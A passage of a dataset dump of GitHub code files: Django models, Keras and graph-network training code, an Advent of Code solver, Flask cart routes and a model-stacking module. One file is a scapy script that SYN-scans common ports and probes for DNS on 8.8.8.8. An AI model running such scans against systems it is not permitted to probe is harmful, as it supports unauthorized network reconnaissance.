digit number using '\n f'the form 7(123)XXXXXXX'),\n code='invalid')]\n )\n operator_code = models.CharField(\n max_length=3,\n validators=[RegexValidator(regex=r\"^\\d{3}$\",\n message='Enter a 3 digit number',\n code='invalid')],\n )\n tag = models.CharField(\n max_length=15,\n blank=True\n )\n time_zone = models.CharField(\n max_length=32,\n default='UTC',\n choices=TIMEZONES_CHOICES\n )\n\n\nclass Message(models.Model):\n datetime = models.DateTimeField(\n verbose_name='Creation or sending datetime',\n auto_now_add=True,\n )\n status = models.CharField(\n max_length=10,\n choices=STATUS_CHOICES\n )\n mailing = models.ForeignKey(\n Mailing,\n on_delete=models.CASCADE,\n related_name='messages'\n )\n client = models.ForeignKey(\n Client,\n on_delete=models.CASCADE,\n related_name='messages'\n )\n","repo_name":"n1ghtowl88/notificatonService","sub_path":"api/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"10615682071","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created on Wed Jun 1 14:00:46 2020\n \n @author: Ghercioglo \"Romeon0\" Roman\n\"\"\"\n\n# TensorFlow and Keras\nimport tensorflow as tf\nfrom tensorflow import keras\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.callbacks import Callback\n\nRANDOM_SEED = 4234233\nnp.random.seed(RANDOM_SEED)\n\n\n\n#Functions ----------------------------------------\ndef Hello():\n print(\"Hello from ApplicationModel.py script!\")\n\ndef Create():\n #Create model\n model = keras.Sequential([\n keras.layers.Conv1D(input_shape=(28, 28), filters=4, kernel_size=3),\n tf.keras.layers.AveragePooling1D(pool_size=2,input_shape=(26, 26)),\n keras.layers.Flatten(),\n keras.layers.Dense(100, activation='tanh'),\n keras.layers.Dense(60, activation='tanh'),\n keras.layers.Dense(26+10)\n ]) \n \n #Compile the model\n model.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n \n return model\n\n\n\n\nclass StopTrainingCallback(Callback):\n needStop = False\n def __init__(self, monitor='val_loss', value=0.00001, verbose=0):\n super(Callback, self).__init__()\n self.monitor = monitor\n self.value = value\n self.verbose = verbose\n\n def on_epoch_end(self, epoch, logs={}):\n #lossValue = logs.get(self.monitor)\n #print(\"on_epoch_end called....\")\n if self.needStop == True:\n self.model.stop_training = True\n\n \ndef Train(model, train_images, train_labels, epochEndCallback = None, maxEpochs = None, verbose=1):\n lastCallback = StopTrainingCallback()\n lastCallback.needStop = False\n \n callbacks = None\n if epochEndCallback is not None:\n callbacks = [lastCallback,epochEndCallback]\n else:\n callbacks = [lastCallback]\n \n if maxEpochs is None:\n maxEpochs = 50\n model.fit(train_images, train_labels, epochs=maxEpochs,verbose=verbose,callbacks=callbacks)\n return model\n\ndef StopTrain(model):\n model.stop_training = True\n return 1\n \ndef Test(model, test_images, test_labels):\n test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=0)\n return test_acc\n\ndef Predict_test(model, test_images, test_labels):\n #Predict\n #probability_model = tf.keras.Sequential([model, tf.keras.layers.Softmax()])\n predictions = model.predict(test_images)\n \n #Show predicted results\n nrCorrectPredictions = 0\n for i in range(1, len(predictions), 1):\n #print(\"Predicted / correct: \", np.argmax(predictions[i]), test_labels[i]);\n if np.argmax(predictions[i]) == test_labels[i]:\n nrCorrectPredictions += 1;\n #print(\"Correct guessed: \", nrCorrectPredictions, \" / \", len(test_images))\n \n \ndef Predict(model, images):\n #Predict\n #probability_model = tf.keras.Sequential([model, tf.keras.layers.Softmax()])\n predictions = model.predict(images) \n \n answer = []\n #Show predicted results\n for i in range(0, len(predictions), 1):\n index = np.argmax(predictions[i])\n char = None\n if index <=25:\n char = chr(ord('A') + index)\n else:\n char = chr(ord('0') + index - 26)\n #print(\"Guessed \", i, \": \", char, \"; Index: \", index)\n answer.append(char)\n return answer\n\n\ndef Save(model, filePath):\n model.save(filePath,overwrite=True)\n\n\ndef Load(filePath):\n model = tf.keras.models.load_model(filePath,compile=False)\n #Settings some things before training\n model.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n return model","repo_name":"romeon0/MasterThesis","sub_path":"ApplicationModel.py","file_name":"ApplicationModel.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9347592023","text":"import math\n\ndata = open('input.txt').read().split(\"\\n\")\n# The input is 14 similar instructions, different in three commands, by having different values.\n# z = z/1 or z/26 (5th command)\n# x += unique value (6th command)\n# y += unique value (16th command)\n\"\"\"for instruction in data:\n command = instruction[0:3]\n values = instruction[3:].split()\"\"\"\n\n# int(str(W).replace(\", \", \"\").replace(\"[\",\"\").replace(\"]\", \"\"))\nx_add = [12, 11, 14, -6, 15, 12, -9, 14, 14, -5, -9, -5, -2, -7]\nz_div = [1, 1, 1, 26, 1, 1, 26, 1, 1, 26, 26, 26, 26, 26]\ny_add = [4, 10, 12, 14, 6, 16, 1, 7, 8, 11, 8, 3, 1, 8]\n\n\n# eql x, w then eql x, 0 -> not_eql x, w\ndef not_eql(a, b):\n if a == b:\n return 0\n return 1\n\n\ndef first_seven_digits():\n W_ = '9999999'\n z_ = 0\n plausable_w = []\n w_to_z = {}\n done = False\n while not done:\n dividers = 0\n for i in range(7):\n w_ = int(W_[i])\n if x_add[i] < 0: # When x_add > 9. x is always 1\n #x_ = not_eql(z_ % 26 + x_add[i], w_)\n if z_ % 26 + x_add[i] != w_:\n break\n \"\"\"if x_ == 1: # Not equal to w. x MUST be equal to w otherwise z continues to explode.\n break\"\"\"\n z_ = math.floor(z_/26)\n dividers += 1\n z_ *= 26\n z_ += w_ + y_add[i]\n if dividers == 2:\n plausable_w.append(int(W_))\n w_to_z[int(W_)] = z_\n if W_ == '1111111':\n done = True\n W_ = str(int(W_) - 1)\n while W_.__contains__('0'):\n W_ = str(int(W_) - 1)\n z_ = 0\n plausable_w.sort()\n plausable_w.reverse()\n return plausable_w, w_to_z\n\n\ndef last_seven_digits(w_start, z_start):\n W_ = str(w_start) + '9999999'\n z_ = z_start\n plausible_w = []\n w_to_z = {}\n done = False\n isCorrect = False\n lowest_z = z_start\n while not done:\n dividers = 0\n for i in range(7, 14):\n w_ = int(W_[i])\n if x_add[i] < 0: # When x_add > 9. x is always 1\n x_ = not_eql(z_ % 26 + x_add[i], w_)\n if x_ == 1: # Not equal to w. x MUST be equal to w otherwise z continues to explode.\n break\n z_ = math.floor(z_/26)\n dividers += 1\n z_ *= 26\n z_ += w_ + y_add[i]\n if z_ == 0:\n isCorrect = True\n done = True\n print(\"W = \", W_, \" z = \", z_)\n if dividers == 5:\n plausible_w.append(int(W_))\n w_to_z[int(W_)] = z_\n if z_ == 0:\n isCorrect = True\n done = True\n print(\"W = \", W_, \" z = \", z_)\n if W_ == str(w_start) + '1111111':\n done = True\n break\n W_ = str(int(W_) - 1)\n while W_.__contains__('0'):\n W_ = str(int(W_) - 1)\n if z_ < lowest_z:\n lowest_z = z_\n z_ = 0\n plausible_w.sort()\n plausible_w.reverse()\n return plausible_w, w_to_z, isCorrect, lowest_z\n\n\nW_first7, w_to_z = first_seven_digits()\nprint(\"First sequence done\")\npossible_initial_z = {}\nruns_left = len(W_first7)\n#for start_sequence in W_first7:\ni = 0\nW_first7.reverse()\nfound_it = False\nwhile not found_it:\n start_sequence = W_first7[i]\n initial_z = w_to_z[start_sequence]\n if possible_initial_z.__contains__(initial_z):\n if not possible_initial_z[initial_z]:\n #print(\"Ignored \", start_sequence)\n continue\n print(\"Testing start sequence \", start_sequence)\n print(\"z = \", w_to_z[start_sequence])\n plausible_w, full_w_to_z, found_it, z_lowest = last_seven_digits(start_sequence, initial_z)\n runs_left -= 1\n i += 1\n \"\"\"if z_lowest > 100:\n i += 200\"\"\"\n print(found_it, \"Lowest z: \", z_lowest, \" Runs to go: \", runs_left - i)\n if not found_it:\n possible_initial_z[initial_z] = False\n\n\n\n#W = '9,' * 13 + '9'\n#W = [int(x) for x in W.split(\",\")]\n#int(str(W).replace(\", \", \"\").replace(\"[\",\"\").replace(\"]\", \"\"))\nprint(\"done\")\n\n\n\"\"\"W = '99999943472009'\nW3 = [6, 7, 8, 9]\nruns = 0\n# Pattern\nz26 = {}\nwhile True: #runs < 3000000:\n x, y, z = [0, 0, 0]\n for i in range(14):\n w = int(W[i])\n if x_add[i] < 0: # When x_add > 9. x is always 1\n x = not_eql(z % 26 + x_add[i], w) # z%26 - value != w\n if x != 0:\n # z % 26 + value, must always be equal to w to get z down to 0\n break\n #z /= 26 # z_div[i]\n # x is always 1 here\n #z *= 26 # 25*x + 1\n # y = w + y_add[i] # *x\n z += w + y_add[i] # 26*z_old + w + offset\n # z = 26z + w + offset value\n if z == 0:\n break\n #runs += 1\n W = str(int(W) - 1)\nprint(\"W: \", W)\nprint(\"z: \", z)\"\"\"\n","repo_name":"SIITON/advent_of_code","sub_path":"2021/day24/day_24_new.py","file_name":"day_24_new.py","file_ext":"py","file_size_in_byte":4799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18222574432","text":"import json\nimport pytz\nfrom datetime import datetime, timedelta\nfrom firebase_admin import firestore\nfrom config import db\n\n# Insert into 'sections'\nwith open('./assets/seller_sections_fake_data_foobarify.json') as json_file:\n fake_sections = json.load(json_file)\n batch = db.batch()\n\n for index, section in enumerate(fake_sections):\n docRef = db.collection(f'sellers/{section[\"seller_id\"]}/sections').document()\n\n delivery_location = {\n 'address': section['delivery_location']['address'],\n 'address_zh': section['delivery_location']['address_zh'],\n 'geopoint': firestore.GeoPoint(\n section['delivery_location']['geopoint']['lat'],\n section['delivery_location']['geopoint']['long']\n )\n }\n\n now_time = datetime.now(pytz.timezone('Asia/Hong_Kong')) + timedelta(days=index)\n cutoff_time = datetime.strptime(section[\"cutoff_time\"], '%H:%M') \n delivery_time = datetime.strptime(section[\"delivery_time\"], '%H:%M')\n\n new_cutoff_time = now_time.replace(hour=cutoff_time.hour, minute=cutoff_time.minute)\n new_delivery_time = now_time.replace(hour=delivery_time.hour, minute=delivery_time.minute)\n\n batch.set(docRef, {\n 'id': docRef.id,\n 'title': section['title'],\n 'title_zh': section.get('title_zh', None),\n 'group_id': section['group_id'],\n 'seller_id': section['seller_id'],\n 'seller_name': section['seller_name'],\n 'seller_name_zh': section.get('seller_name_zh', None),\n 'description': section['description'],\n 'description_zh': section.get('description_zh', None),\n 'delivery_cost': section['delivery_cost'],\n 'delivery_time': new_delivery_time,\n 'delivery_location': delivery_location,\n 'cutoff_time': new_cutoff_time,\n 'max_users': section['max_users'],\n 'joined_users_count': section.get('joined_users_count', 0),\n 'joined_users_ids': section.get('joined_users_count', []),\n 'image_url': section.get('image_url', None),\n 'state': section['state'],\n 'available': section['available'],\n })\n\n batch.commit()\n\n print('insert success.')","repo_name":"foobar-UST/foobar-samples","sub_path":"insert_sections.py","file_name":"insert_sections.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43526134839","text":"# PROBLEM\n# Write a function to find the longest common prefix string amongst an array of strings.\n# Edge Case: If there is no common prefix, return an empty string \"\".\n# Note: All inputs are in lowercase letters a-z\n\n\ndef longestCommonPrefix(strings):\n # if there is only one string in the array\n if len(strings) == 1:\n return strings[0]\n\n # else, there is more than one string in the array\n else:\n # if the list is empty, we want to return an empty string\n commonPrefix = \"\"\n # print(strings[1][:1], strings[0][:1], list(range(len(min(strings, key=len))+1)))\n # note: in python empty sequences are FALSE\n if strings: # if the string is not empty (implicit boolean when string is empty)\n shortLen = min(strings, key=len) # short the length of the shortest\n finished = False\n\n # procedurally need to compare letters\n for i in range(1, len(shortLen)+1):\n testPrefix = strings[0][:i]\n\n for j in range(1, len(strings)):\n if strings[j][:i] != testPrefix: # if any one of the strings dont match\n finished = True # trigger mismatch flag\n break # exit loop early to save time\n\n if finished:\n break\n\n else:\n commonPrefix = strings[0][:i]\n\n return commonPrefix # return longest common prefix using first element in the list\n\n\n# TESTS\nprint(longestCommonPrefix([\"flower\", \"flow\", \"flight\"])) # Output \"fl\"\nprint(longestCommonPrefix([\"dog\", \"racecar\", \"car\"])) # Output: \"\"\nprint(longestCommonPrefix([\"c\", \"c\"])) # Output: \"c\"\n#print(\"heck\" + longestCommonPrefix([]))\n","repo_name":"ryotokuro/leetcode","sub_path":"Easy/Solved/longestCommonPrefix.py","file_name":"longestCommonPrefix.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12325333167","text":"from flask import jsonify, request, render_template, url_for\nfrom app.main import application\nfrom flask_login import current_user\nfrom flask_login import login_required\nfrom app.data.models.carts import Carts\nfrom app.data.models.items import Items\nfrom app.data.models.items import Vendors\n# from app.main.vendors import getVendors\nimport json\n\n@application.route('/addToCart', methods= ['POST'])\n# adding Item to Cart\ndef addToCart():\n activeCart = Carts.query.get(current_user.activeCart)\n data = request.get_json()\n item_id = activeCart.addToCart(current_user, data['id'],data['img_url'],data['database'])\n print(item_id)\n if item_id:\n count = current_user.cart_count\n return jsonify({'count':current_user.cart_count, 'item_id':item_id}) \n return jsonify({'count':current_user.cart_count, 'item_id':item_id})\n\n@application.route('/addToCartWithVendor', methods= ['POST'])\n# adding Item to Cart\ndef addToCartWithVendor(identifier,img, db, vendor) -> None:\n print(\"calling addToCartWithVendor\")\n if current_user.is_authenticated:\n activeCart = Carts.query.get(current_user.activeCart)\n item_id = activeCart.addToCartGetId(current_user, identifier,img,db)\n if vendor:\n vendor_ =Vendors.addVendor(item_id, vendor)\n print('added succeesfully')\n return 'success'\n # return 'sucess'\n # data = request.get_json()\n # item_id = activeCart.addToCart(current_user, data['id'],data['img_url'],data['database'])\n # print(item_id)\n # if item_id:\n # count = current_user.cart_count\n # return jsonify({'count':current_user.cart_count, 'item_id':item_id}) \n # return jsonify({'count':current_user.cart_count, 'item_id':item_id})\n\n\n@application.route('/deleteItem/', methods= ['DELETE'])\ndef deleteItem(identifier):\n Items.query.filter_by(identifier=identifier, cart_fk=current_user.activeCart).first().deleteItem()\n print(identifier)\n items = Items.query.filter_by(cart_fk=current_user.activeCart).all()\n print(items)\n print(len(items))\n return jsonify({'count':current_user.cart_count})\n\n@application.route('/showItem')\ndef showItem():\n data = json.loads(request.args.get('data'))\n return render_template('cart/item.html', identifier = data['identifier'], img=data['img'], db=data['db'])\n\n\n@application.route(\"/processItem\", methods= ['POST'])\ndef processItem():\n data = request.get_json()\n return jsonify({\n 'result': url_for('main.showItem', data=json.dumps({\"identifier\":data['identifier'], \"img\":data['img'], \"db\":data['db']}))\n })","repo_name":"zula1010/cartblanche-20","sub_path":"app/main/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"23681329567","text":"from sklearn.model_selection import KFold\nimport xgboost as xgb\nimport numpy as np\nimport lightgbm as lgb\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn import metrics\n\n\"\"\"\nstacking 的思想很好理解,但是在实现时需要注意不能有泄漏(leak)的情况,也就是说对于训练样本中的每一条数据,\n基模型输出其结果时并不能用这条数据来训练。否则就是用这条数据来训练,同时用这条数据来测试,这样会造成最终预测时的过拟合现象,即经过stacking后在训练集上进行验证时效果很好,但是在测试集上效果很差。\n\n为了解决这个泄漏的问题,需要通过 K-Fold 方法分别输出各部分样本的结果,这里以 5-Fold 为例,具体步骤如下\n\n(1) 将数据划分为 5 部分,每次用其中 1 部分做验证集,其余 4 部分做训练集,则共可训练出 5 个模型\n(2) 对于训练集,每次训练出一个模型时,通过该模型对没有用来训练的验证集进行预测,将预测结果作为验证集对应的样本的第二层输入,\n则依次遍历5次后,每个训练样本都可得到其输出结果作为第二层模型的输入\n(3) 对于测试集,每次训练出一个模型时,都用这个模型对其进行预测,则最终测试集的每个样本都会有5个输出结果,对这些结果取平均作为该样本的第二层输入\n\"\"\"\n\nclass BasicModel(object):\n \"\"\"Parent class of basic models.\"\"\"\n\n def train(self, x_train, y_train, x_val, y_val):\n \"\"\"Return a trained model and eval metric of validation data.\"\"\"\n pass\n\n def predict(self, model, x_test):\n \"\"\"Return the predicted result of test data.\"\"\"\n pass\n\n def get_oof(self, x_train, y_train, x_test, n_folds=5):\n \"\"\"K-fold stacking.\"\"\"\n num_train, num_test = x_train.shape[0], x_test.shape[0]\n oof_train = np.zeros((num_train,))\n oof_test = np.zeros((num_test,))\n oof_test_all_fold = np.zeros((num_test, n_folds))\n aucs = []\n KF = KFold(n_splits=n_folds, random_state=2017)\n for i, (train_index, val_index) in enumerate(KF.split(x_train)):\n print('{0} fold, train {1}, val {2}'.format(i,\n len(train_index),\n len(val_index)))\n x_tra, y_tra = x_train[train_index], y_train[train_index]\n x_val, y_val = x_train[val_index], y_train[val_index]\n model, auc = self.train(x_tra, y_tra, x_val, y_val)\n aucs.append(auc)\n oof_train[val_index] = self.predict(model, x_val)\n oof_test_all_fold[:, i] = self.predict(model, x_test)\n oof_test = np.mean(oof_test_all_fold, axis=1)\n print('all aucs {0}, average {1}'.format(aucs, np.mean(aucs)))\n return oof_train, oof_test\n\n\nclass XGBClassifier(BasicModel):\n \"\"\"Xgboost model for stacking.\"\"\"\n\n def __init__(self):\n \"\"\"Set parameters.\"\"\"\n self.num_rounds = 1000\n self.early_stopping_rounds = 15\n self.params = {\n 'objective': 'binary:logistic',\n 'eta': 0.1,\n 'max_depth': 8,\n 'eval_metric': 'auc',\n 'seed': 0,\n 'silent': 0\n }\n\n def train(self, x_train, y_train, x_val, y_val):\n \"\"\"T.\"\"\"\n print('train with xgb model')\n xgbtrain = xgb.DMatrix(x_train, y_train)\n xgbval = xgb.DMatrix(x_val, y_val)\n watchlist = [(xgbtrain, 'train'), (xgbval, 'val')]\n model = xgb.train(self.params,\n xgbtrain,\n self.num_rounds,\n watchlist,\n early_stopping_rounds=self.early_stopping_rounds)\n return model, float(model.eval(xgbval).split()[1].split(':')[1])\n\n def predict(self, model, x_test):\n print('test with xgb model')\n xgbtest = xgb.DMatrix(x_test)\n return model.predict(xgbtest)\n\n\nclass LGBClassifier(BasicModel):\n def __init__(self):\n self.num_boost_round = 2000\n self.early_stopping_rounds = 15\n self.params = {\n 'task': 'train',\n 'boosting_type': 'dart',\n 'objective': 'binary',\n 'metric': {'auc', 'binary_logloss'},\n 'num_leaves': 80,\n 'learning_rate': 0.05,\n # 'scale_pos_weight': 1.5,\n 'feature_fraction': 0.5,\n 'bagging_fraction': 1,\n 'bagging_freq': 5,\n 'max_bin': 300,\n 'is_unbalance': True,\n 'lambda_l2': 5.0,\n 'verbose': -1\n }\n\n def train(self, x_train, y_train, x_val, y_val):\n print('train with lgb model')\n lgbtrain = lgb.Dataset(x_train, y_train)\n lgbval = lgb.Dataset(x_val, y_val)\n model = lgb.train(self.params,\n lgbtrain,\n valid_sets=lgbval,\n verbose_eval=self.num_boost_round,\n num_boost_round=self.num_boost_round,\n early_stopping_rounds=self.early_stopping_rounds)\n return model, model.best_score['valid_0']['auc']\n\n def predict(self, model, x_test):\n print('test with lgb model')\n return model.predict(x_test, num_iteration=model.best_iteration)\n\n\ndef lgb_xgboost_lr_stacking(x_train, y_train,\n x_test, y_test):\n \"\"\"Return a basic stacking model.\"\"\"\n lgb_classifier = LGBClassifier()\n lgb_oof_train, lgb_oof_test = lgb_classifier.get_oof(x_train,\n y_train, x_test)\n print(lgb_oof_train.shape, lgb_oof_test.shape)\n\n xgb_classifier = XGBClassifier()\n xgb_oof_train, xgb_oof_test = xgb_classifier.get_oof(x_train,\n y_train, x_test)\n print(xgb_oof_train.shape, xgb_oof_test.shape)\n\n input_train = [xgb_oof_train, lgb_oof_train]\n input_test = [xgb_oof_test, lgb_oof_test]\n\n stacked_train = np.concatenate([f.reshape(-1, 1) for f in input_train], axis=1)\n stacked_test = np.concatenate([f.reshape(-1, 1) for f in input_test], axis=1)\n print(stacked_train.shape, stacked_test.shape)\n\n\n # use LR as the model of the second layer\n\n # split for validation\n n = int(stacked_train.shape[0] * 0.8)\n x_tra, y_tra = stacked_train[:n], y_train[:n]\n x_val, y_val = stacked_train[n:], y_train[n:]\n model = LinearRegression()\n model.fit(x_tra,y_tra)\n y_pred = model.predict(x_val)\n print(metrics.roc_auc_score(y_val, y_pred))\n\n # predict on test data\n final_model = LinearRegression()\n final_model.fit(stacked_train, y_train)\n test_prediction = final_model.predict(stacked_test)\n","repo_name":"angelhunt/ml-tools","sub_path":"model/stacking.py","file_name":"stacking.py","file_ext":"py","file_size_in_byte":6814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"18940486943","text":"from scapy.all import *\n\n\"\"\"\nUse scapy to implement the SYNScan and DNSScan\n\"\"\"\nports = [25,80,53,443,445,8080,8443]\n\ndef SynScan(host):\n \"\"\"\n Send a SYN packet and wait for ACK from destination ports.\n \"\"\"\n answers,unanswers = sr(IP(dst=host)/TCP(dport=ports,flags=\"S\"),timeout=2,verbose=0)\n print(\"Open ports at %s:\" % host)\n for (sent_packet,received_packet,) in answers:\n if sent_packet[TCP].dport == received_packet[TCP].sport:\n print(sent_packet[TCP].dport)\n\ndef DNSScan(host):\n \"\"\"\n Send a DNS request and wait for response to verify if there are\n DNS servers waiting at destination ports.\n \"\"\"\n answers,unanswers = sr(IP(dst=host)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=\"google.com\")),timeout=2,verbose=0)\n if answers:\n print(\"DNS Server at %s\"%host)\n \nhost = \"8.8.8.8\"\n\nSynScan(host)\nDNSScan(host)","repo_name":"TuanDinhLe/TuanDinhLe.github.io","sub_path":"NetworkScanning/network_scanning.py","file_name":"network_scanning.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70491426002","text":"#%%\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom copy import deepcopy\nimport utils\nimport numpy as np\nimport scipy.sparse as sp\nfrom torch_geometric.utils import from_scipy_sparse_matrix\nfrom models.GCN import GCN\n\nclass Coteaching(nn.Module):\n \"\"\" 2 Layer Graph Convolutional Network.\n \"\"\"\n\n def __init__(self, nfeat, nhid, nclass, dropout=0.5, lr=0.01, weight_decay=5e-4,device=None):\n\n super(Coteaching, self).__init__()\n assert device is not None, \"Please specify 'device'!\"\n self.device = device\n self.nfeat = nfeat\n self.hidden_sizes = [nhid]\n self.nclass = nclass\n self.dropout = dropout\n self.lr = lr\n self.weight_decay = weight_decay\n\n self.output = None\n self.best_model = None\n self.edge_index = None\n self.edge_weight = None\n self.features = None\n\n self.GCN1 = GCN(nfeat,nhid,nclass,dropout,device=device)\n self.GCN2 = GCN(nfeat,nhid,nclass,dropout,device=device)\n\n def forward(self, x, edge_index, edge_weight):\n\n return self.GCN1(x,edge_index,edge_weight), self.GCN2(x,edge_index,edge_weight)\n\n def fit(self, features, adj, labels, idx_train, idx_val=None, noise_rate=0.2, ek=10,train_iters=200, verbose=True):\n \"\"\"Train the gcn model, when idx_val is not None, pick the best model according to the validation loss.\n Parameters\n \"\"\"\n\n self.edge_index, self.edge_weight = from_scipy_sparse_matrix(adj)\n self.edge_index, self.edge_weight = self.edge_index.to(self.device), self.edge_weight.float().to(self.device)\n\n if sp.issparse(features):\n features = utils.sparse_mx_to_torch_sparse_tensor(features).to_dense().float()\n else:\n features = torch.FloatTensor(np.array(features))\n self.features = features.to(self.device)\n self.labels = torch.LongTensor(np.array(labels)).to(self.device)\n\n self.noise_rate = noise_rate\n self._train_with_val(self.labels, idx_train, idx_val, ek ,train_iters, verbose)\n\n def _train_with_val(self, labels, idx_train, idx_val, ek,train_iters, verbose):\n if verbose:\n print('=== training gcn model ===')\n optimizer = optim.Adam(self.parameters(), lr=self.lr, weight_decay=self.weight_decay)\n\n best_loss_val = 100\n best_acc_val = 0\n idx_train = np.asarray(idx_train)\n\n for i in range(train_iters):\n self.train()\n optimizer.zero_grad()\n output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n\n pred_1 = output1[idx_train].max(1)[1]\n pred_2 = output2[idx_train].max(1)[1]\n\n\n disagree = (pred_1 != pred_2).cpu().numpy()\n idx_update = idx_train[disagree]\n\n if len(idx_update) == 0:\n break\n\n k = int((1 - min(i*self.noise_rate/ek, self.noise_rate)) * len(idx_update))\n\n loss_1 = F.cross_entropy(output1[idx_update], labels[idx_update], reduction='none')\n loss_2 = F.cross_entropy(output2[idx_update], labels[idx_update], reduction='none')\n\n _, topk_1 = torch.topk(loss_1, k, largest=False)\n _, topk_2 = torch.topk(loss_2, k, largest=False)\n\n loss_train = loss_1[topk_2].mean() + loss_2[topk_1].mean()\n\n loss_train.backward()\n optimizer.step()\n\n # if verbose and i % 10 == 0:\n\n self.eval()\n output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n acc_val = max(utils.accuracy(output1[idx_val], labels[idx_val]),utils.accuracy(output2[idx_val], labels[idx_val]))\n\n if acc_val > best_acc_val:\n best_acc_val = acc_val\n weights = deepcopy(self.state_dict())\n if verbose and i % 1 == 0:\n print('Epoch {}, training loss: {}, acc_val: {:.4f}'.format(i, loss_train.item(),acc_val))\n\n if verbose:\n print('=== picking the best model according to the performance on validation ===')\n self.load_state_dict(weights)\n\n\n def test(self, idx_test):\n \"\"\"Evaluate GCN performance on test set.\n Parameters\n ----------\n idx_test :\n node testing indices\n \"\"\"\n self.eval()\n output1, output2 = self.forward(self.features, self.edge_index, self.edge_weight)\n acc_1 = utils.accuracy(output1[idx_test], self.labels[idx_test])\n acc_2 = utils.accuracy(output2[idx_test], self.labels[idx_test])\n print(\"Test set results:\",\n \"acc_1= {:.4f}\".format(acc_1.item()),\n \"acc_2y= {:.4f}\".format(acc_2.item()))\n return output1,output2\n\n\n# %%\n","repo_name":"EnyanDai/NRGNN","sub_path":"models/Coteaching.py","file_name":"Coteaching.py","file_ext":"py","file_size_in_byte":4777,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"}
+{"seq_id":"28792687257","text":"# -*- coding: utf-8 -*-\r\nfrom fix_gener_discrim_model_3 import *\r\nfrom absl import flags\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport os\r\nimport sys\r\n\r\nflags.DEFINE_string(\"A_tr_img_path\", \"D:/[1]DB/[4]etc_experiment/Fall_dataset/[5]TCL_dataset/GAN_data/divide/preprocessed/Walking_fall_stand/train/A_train\", \"A training image path\")\r\n\r\nflags.DEFINE_string(\"B_tr_img_path\", \"D:/[1]DB/[4]etc_experiment/Fall_dataset/[5]TCL_dataset/GAN_data/divide/preprocessed/Walking_fall_stand/train/B_train\", \"B training image path\")\r\n\r\nflags.DEFINE_integer(\"img_size\", 112, \"Height and width\")\r\n\r\nflags.DEFINE_integer(\"img_ch\", 3, \"Channels\")\r\n\r\nflags.DEFINE_integer(\"img_fr\", 16, \"Image frames\")\r\n\r\nflags.DEFINE_integer(\"epochs\", 200, \"Training epochs\")\r\n\r\nflags.DEFINE_integer(\"classes\", 14, \"Number of classes\")\r\n\r\nflags.DEFINE_integer(\"batch_size\", 1, \"Batch size\")\r\n\r\nflags.DEFINE_float(\"lr\", 0.0002, \"Learning rate\")\r\n\r\nflags.DEFINE_bool(\"train\", True, \"True or False\")\r\n\r\nflags.DEFINE_string(\"save_images\", \"C:/Users/Yuhwan/Pictures/sample\", \"Save sample images path\")\r\n\r\nflags.DEFINE_string(\"save_checkpoint\", \"\", \"\")\r\n\r\nflags.DEFINE_bool(\"pre_checkpoint\", False, \"True or False\")\r\n\r\nflags.DEFINE_string(\"pre_checkpoint_path\", \"\", \"Saved checkpoint file path\")\r\n\r\nFLAGS = flags.FLAGS\r\nFLAGS(sys.argv)\r\n\r\ng_optim = tf.keras.optimizers.Adam(FLAGS.lr)\r\nd_optim = tf.keras.optimizers.Adam(FLAGS.lr)\r\n\r\nlabel_list = [(\"Drinking_some_water\", 0),\r\n (\"Falls_from_bed\", 1),\r\n (\"Falls_from_standing\", 2),\r\n (\"Getting_off_a_bed\", 3),\r\n (\"Jogging\", 4),\r\n (\"Lying_down\", 5),\r\n (\"Lying_still\", 6),\r\n (\"Moving_on_a_chair\", 7),\r\n (\"Object_picking\", 8),\r\n (\"Sitting_down\", 9),\r\n (\"Sitting_on_a_bed\", 10),\r\n (\"Standing_still\", 11),\r\n (\"Standing_up\", 12),\r\n (\"Walking\", 13)]\r\n\r\n\r\ndef all_data(folder_list, path):\r\n\r\n list_ = folder_list\r\n folder_list = [path + \"/\" + folder for folder in folder_list]\r\n\r\n img, lab = [], []\r\n for i in range(len(folder_list)):\r\n folder_list_ = os.listdir(folder_list[i])\r\n for k in range(len(label_list)):\r\n #print(folder_list[i].split('/')[-1])\r\n if folder_list[i].split('/')[-1] == label_list[k][0]:\r\n num = label_list[k][1]\r\n\r\n print(folder_list[i])\r\n folder_list_ = [path + \"/\" + folder_list[i].split(\"/\")[-1] + \"/\" + folder for folder in folder_list_ if folder != \".DS_Store\"]\r\n\r\n label = [\"{}\".format(num) for j in range(len(folder_list_))]\r\n lab.extend(label)\r\n \r\n for j in range(len(folder_list_)):\r\n real_img = os.listdir(folder_list_[j])\r\n real_img = [int(img.split(\".\")[0]) for img in real_img]\r\n real_img.sort()\r\n real_img = [str(img) + \".png\" for img in 